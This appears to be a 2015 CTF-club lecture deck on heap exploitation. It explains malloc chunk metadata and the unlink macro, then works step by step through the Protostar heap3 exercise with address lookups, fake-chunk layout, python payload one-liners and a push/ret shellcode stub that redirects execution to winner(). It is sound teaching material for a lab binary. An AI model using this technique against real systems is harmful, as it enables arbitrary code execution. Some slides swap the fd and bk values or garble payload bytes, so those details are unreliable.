Heap Exploitation

Week 10 - Dead Week

Grant Harris
IRC nick: ghrs
irc.freenode.net #0x4f
Oregon CTF - Last Saturday

Upcoming CTFs:

CodeGate - March 14, 2015
Insomni’Hack - March 20, 2015

Comprehensive list: https://ctftime.org/event/list/upcoming

Spring break informal meetings TBD
Virtual Address Space
Virtual Address Space
Virtual Address Space -- Today’s focus

- Kernel space
- Stack
- Memory Mapping Region
- Heap
  - BSS segment
  - Data Segment
  - Text Segment (ELF)

0x00000000 == TASK_SIZE
0x40000000
0x08048000
0

Diagram showing the layers of the virtual address space with memory mapping regions and segment locations.
The Heap - Target me!

Programmers go out of their way to protect the stack. The same is not as true for the heap.
The Heap - Target me!

Programmers go out of their way to protect the stack. The same is not as true for the heap.

Back in the good old days - circa 1999 (Holden) - the heap and bss segments were both writable and executable -- a wonderful combination.
Review: The Heap

- As opposed to the stack, the heap can allocate additional memory on the fly.

- This dynamic allocation is used when we are working with non-static variables. (among other things)

- The “modern” heap is readable and writable.
Review: The Heap

Four C functions are directly tied to dynamic memory management. What are they?
Review: The Heap

Four C functions are directly tied to dynamic memory management. What are they?

- `malloc()`
- `calloc()`
- `realloc()`
- `free()`
Review: The Heap

Four C functions are directly tied to dynamic memory management. What are they?

- **Malloc()** - Memory is **not** cleared.
- **Calloc()** - Zeros out memory addresses.
- **Realloc()** - Reallocates a prev. allocation.
- **Free()** - Deallocates memory.

see man 3 malloc
```c
void winner()
{
    printf("that wasn't too bad now, was it? @ %d\n", time(NULL));
}

int main(int argc, char **argv)
{
    char *a, *b, *c;
    a = malloc(32);
    b = malloc(32);
    c = malloc(32);
    strcpy(a, argv[1]);
    strcpy(b, argv[2]);
    strcpy(c, argv[3]);
    free(c);
    free(b);
    free(a);
    printf("dynamite failed?\n");
}
```
The goal is to execute the `winner()` function. There is a blatant overflow lines 20-22.
Protostar Heap3

Also notice how memory is being free()’d.

```c
void winner()
{
    printf("that wasn't too bad now, was it? @ %d\n", time(NULL));
}

int main(int argc, char **argv)
{
    char *a, *b, *c;
    a = malloc(32);
    b = malloc(32);
    c = malloc(32);
    strcpy(a, argv[1]);
    strcpy(b, argv[2]);
    strcpy(c, argv[3]);
    free(c);
    free(b);
    free(a);
    printf("dynamite failed?\n");
}
```
Protostar Heap3

Also notice how memory is being free()’d.
Protostar Heap3

Also notice how memory is being free()'d.
fix: free(a);
   free(b);
   free(c);
The Heap - Chunks

The heap works much in the same way as the stack does. However, the heap is broken into chunks!
The Heap - Chunks

- Chunks consist of metadata and user data.
- Malloc() returns a pointer to the user data section.
- As mentioned, the heap is expandable!
- All chunks (free and not) reside in the heap.
- “The Bin” contains a list of free chunks
The Heap - Allocated Chunks

This is the layout of an allocated chunk. Metadata consists of the size of the previous and current chunks.
The Heap - Allocated Chunks

Worth noting: malloc() allocates memory up to the next power of 2. eg. Malloc(55) → ~M

[Diagram of memory allocation and chunk structure]
The Heap - Allocated Chunks

This allows us to use the two least significant bits of the size field for more information. These bits are `IS_MMAPPED` and `PREV_INUSE`, respectively.
The Heap - Allocated Chunks

The metadata, or header, of a chunk requires 8 bytes minimum. Once free, chunk layout will transform to point to other free chunks.
The Heap - Free Chunks

When they’re free, chunks will populate pointers to the next and previous free chunks, respectively.
The Heap - Free Chunks

Free chunks will use the fd and bk pointers; allocated chunks will not.
Allocated vs. Free

- Allocated chunk:
  - prev_size
  - size
  - data

- Free chunk:
  - prev_size
  - size
  - unused

  - FD
  - BK
  - Pointer to the previous free chunk
  - Pointer to the next free chunk

- Allocated chunk (next):
  - prev_size
  - size
  - data
  - 0xffffffff

- Free chunk (next):
  - prev_size
  - size
  - unused
  - 0
  - PREV_INUSE bit cleared
The Heap - Free() on a high level

Checks that free() makes:
- Is the chunk less than 64 bytes?
  ● Chunks < 64B are stored in single link list
- Are the IS_MMAPPED & PREV_INUSE bits set?
  ● A jump is made if either condition is true.
The Heap - Free() on a high level

We want to avoid this jump!
Must be a way of making the size <64B and to zero the two least significant bits of size before free is called.
The Heap - Within free - Unlink Macro

```c
#undef unlink (P, BK, FD){
    BK = P -> bk;
    FD = P -> fd;
    FD-> bk = BK;
    BK-> fd = FD;
}
```

*P is the chunk to be free.
The Heap - Within free - Unlink Macro

#unlink (P, BK, FD){
    BK = P -> bk;
    FD = P-> fd;
    FD-> bk = BK;
    BK-> fd = FD;
}

BK  P  FD
 BK  P  FD
The Heap - Unlink Macro

It is important to note that older versions of libc do not perform sanity checks on the size or the value of the pointers being written to. This flaw is what allows us to overwrite metadata without worry. We may try to corrupt this data to achieve arbitrary code flow.
The Heap - Corrupting chunks, how?

We are able to write a string of arbitrary length into each chunk. We will overflow the user data of one chunk into the metadata of its adjacent chunk.

We are going to make our allocated chunk (Chunk C) resemble a free chunk.
The Heap - Free & Corrupting Chunks

“The location of the previous chunk is calculated by subtracting the size of the previous chunk from the current chunk’s pointer -- we can control both these values. If, for instance we could write the value 0x20 (32), then the previous chunk will be calculated as being the current chunk (whose pointers we control).” - iphelix, www.thesprawl.org
The Heap - Free & Corrupting Chunks

“The location of the previous chunk is calculated by subtracting the size of the previous chunk from the current chunk’s pointer -- we can control both these values. If, for instance we could write the value 0x20 (32), then the previous chunk will be calculated as being the current chunk (whose pointers we control).” - iphelix, www.thesprawl.org

Why, in this case, is this not possible?
The Heap - Free & Corrupting Chunks

If we are unable to move backward, then we can certainly move forward. We will just use a negative value for the size field. For heap3 we will use the value of -4 for the sake of DWORD alignment.

note: -4 in hex = 0xfffffffffc = \xfc\xff\xff\xff\xff
The Heap - Free being sneaky

Important:

0x80498f1 <free+205>: mov eax,DWORD PTR [eax+0xc] ; prev_chunk->bk

When the bk pointer is corrupted we must take into account this line of assembly, which will alter our offset by 0xc.
Remember this, we will account for it later.
The Heap - Setting up a fake chunk

Notice we need 4 bytes of filler before overwriting fd or bk. This value should not have IS_MEMSET or PREV_INUSE bits set.

ascii source: iphelix, www.thesprawl.org
The Heap - Overwriting headers

Let’s see if we can do something more constructive.

<table>
<thead>
<tr>
<th>Prev Size</th>
<th>Chunk1</th>
<th>Chunk2</th>
</tr>
</thead>
<tbody>
<tr>
<td>Size</td>
<td>M</td>
<td>AAAA</td>
</tr>
<tr>
<td></td>
<td>P</td>
<td>AAAA</td>
</tr>
<tr>
<td>User Data</td>
<td>AAAA</td>
<td>AAAA</td>
</tr>
<tr>
<td></td>
<td>AAAA</td>
<td>AAAA</td>
</tr>
<tr>
<td></td>
<td>AAAA</td>
<td>AAAA</td>
</tr>
<tr>
<td></td>
<td>AAAA</td>
<td>AAAA</td>
</tr>
<tr>
<td></td>
<td>AAAA</td>
<td>AAAA</td>
</tr>
<tr>
<td></td>
<td>AAAA</td>
<td>AAAA</td>
</tr>
<tr>
<td></td>
<td>AAAA</td>
<td>AAAA</td>
</tr>
<tr>
<td></td>
<td>AAAA</td>
<td>AAAA</td>
</tr>
<tr>
<td></td>
<td>AAAA</td>
<td>AAAA</td>
</tr>
<tr>
<td></td>
<td>AAAA</td>
<td>AAAA</td>
</tr>
</tbody>
</table>

*Painted Skills!
The Heap - Overwriting headers

<table>
<thead>
<tr>
<th>Prev Size</th>
<th>Chunk1</th>
<th>Chunk2</th>
</tr>
</thead>
<tbody>
<tr>
<td>Size</td>
<td></td>
<td>0xffffffffc (-4)</td>
</tr>
</tbody>
</table>

User Data

| AAAA AAAA |
| AAAA AAAA |
| AAAA AAAA |
| AAAA AAAA |

| FD Pointer |
| BK Pointer |

Unused Space (may be zero)
### The Heap - Overwriting headers

<table>
<thead>
<tr>
<th>PrevSize</th>
<th>Chunk1</th>
<th>Chunk2</th>
<th>&quot;Free&quot; Chunk2</th>
</tr>
</thead>
<tbody>
<tr>
<td>Size</td>
<td></td>
<td>0xffffffffc (-4)</td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td>Size</td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td>FD Pointer</td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td>BK Pointer</td>
<td></td>
</tr>
<tr>
<td></td>
<td>AAAA</td>
<td>Unused Space (may be zero)</td>
<td></td>
</tr>
<tr>
<td></td>
<td>AAAA</td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td>AAAA</td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td>AAAA</td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td>AAAA</td>
<td></td>
<td></td>
</tr>
</tbody>
</table>

We need an additional 4 bytes after our -4 and size overflow.

This is our makeshift "free" chunk.
The Heap - Setting up a fake chunk

The goal is to execute the winner() function. In our fake chunk, once free is called, the fd pointer will become our overwritten destination address. The bk pointer will hold what is to be written into (what fd points to). We will need a few important addresses.
The Heap - Getting the correct address

```
user@protostar:/opt/protostar/bin$ objdump -d ./heap3 |grep winner
08048864 <winner>:
user@protostar:/opt/protostar/bin$ _
```

This is our destination, so we will put this address into fd.
The Heap - Getting the correct address

```
user@protostar:/opt/protostar/bin$ objdump -d ./heap3 |grep winner
08048864 <winner>:
user@protostar:/opt/protostar/bin$ _
```

This is our destination, so we will put this address into fd. What will our bk pointer contain?
We will use the address of `printf` in the global offset table.
The Heap - printf PLT + GOT

This is our destination, so we will put this address into fd. What will our bk pointer contain?
The Heap - printf PLT + GOT

This is our destination, so we will put this address into fd. What will our bk pointer contain?

0x804b128 looks promising!
The address that we recovered from the GOT of puts() was 0x804b128.

We must now account for the offset from this line within free.

got puts
0x804b128  asm offset  ____________-
0x000000c
The address that we recovered from the GOT of puts() was 0x804b128.

We must now account for the offset from this line within free.

got puts 0x804b128  asm offset 0x000000c

0x0804b11c
The Heap - Finding addresses

The address that we recovered from the GOT of puts() was 0x804b128.

We must now account for the offset from this line within free.

got puts
0x804b128  asm offset
0x000000c

The Heap - Free being sneaky

Important:
0x80498f1 <free+205>:  mov  eax,DWORD PTR [eax+0xc]; prev_chunk>bk
When the bk pointer is corrupted we must take into account this line of assembly, which will alter our offset by 0xc.
Remember this, we will account for it later.

So far we have:
- fd should be the address of winner();
  0x0804b11c
- bk should be the address of puts GOT - 0xc;
  0x08048864
The Heap - heap3 Progress so far

So far we have:
- fd should be the address of winner();
  0x08048864
- bk should be the address of puts (GOT - 0xc);
  0x0804b11c

Since Chunk C will be free first, this is the chunk we will target.
1. Give Chunk A any value < 32 bytes
2. Overflow Chunk B with 32 bytes, continue to overflow the metadata/header of Chunk C
3. Chunk C’s prev size section will be (0xffffffff)
4. Chunk C’s current size section will be some number without the least significant bits set. (We will reuse 0xffffffffc)
The Heap - heap3 - creating a payload

$ ./heap3 chunkA + 32B for chunkB + (0xffffffffc + 0xf0) for chunkC header + 4bytes of padding + (address of puts GOT - 0xc) + address winner()

$ ./heap3 $(python -c "print 'AAAA ' + '\xff' * 32 + '\xf0' * 2") $(python -c "print 'CCCC' + '\x1c\xb1\x04\x08' + '\x64\x88\x04\x08'")
Heap 3 - Segmentation Fault!!!
Heap 3 - “Making” shell code

0000000 <.text>
0: 68 64 88 04 08   push $0x8048864
5: c3             ret
Heap 3 - Where else can we put code?

How about Chunk A?

```bash
user@protostar:/opt/protostar/bin$ ./heap3 `python -c "print 'AAAA\x68\x64\x88\x04\x08\xc3 ' + '\xff' *32 + '\xfc\xff\xff\xff ' *2 + ' CCC\xc1c\xb1\x04\x08\x04\xc0\x04\x08''".
Illegal instruction
```

that wasn't too bad now, was it? @ 1426206372

```bash
user@protostar:/opt/protostar/bin$ _
```
Have a great break!

See you next term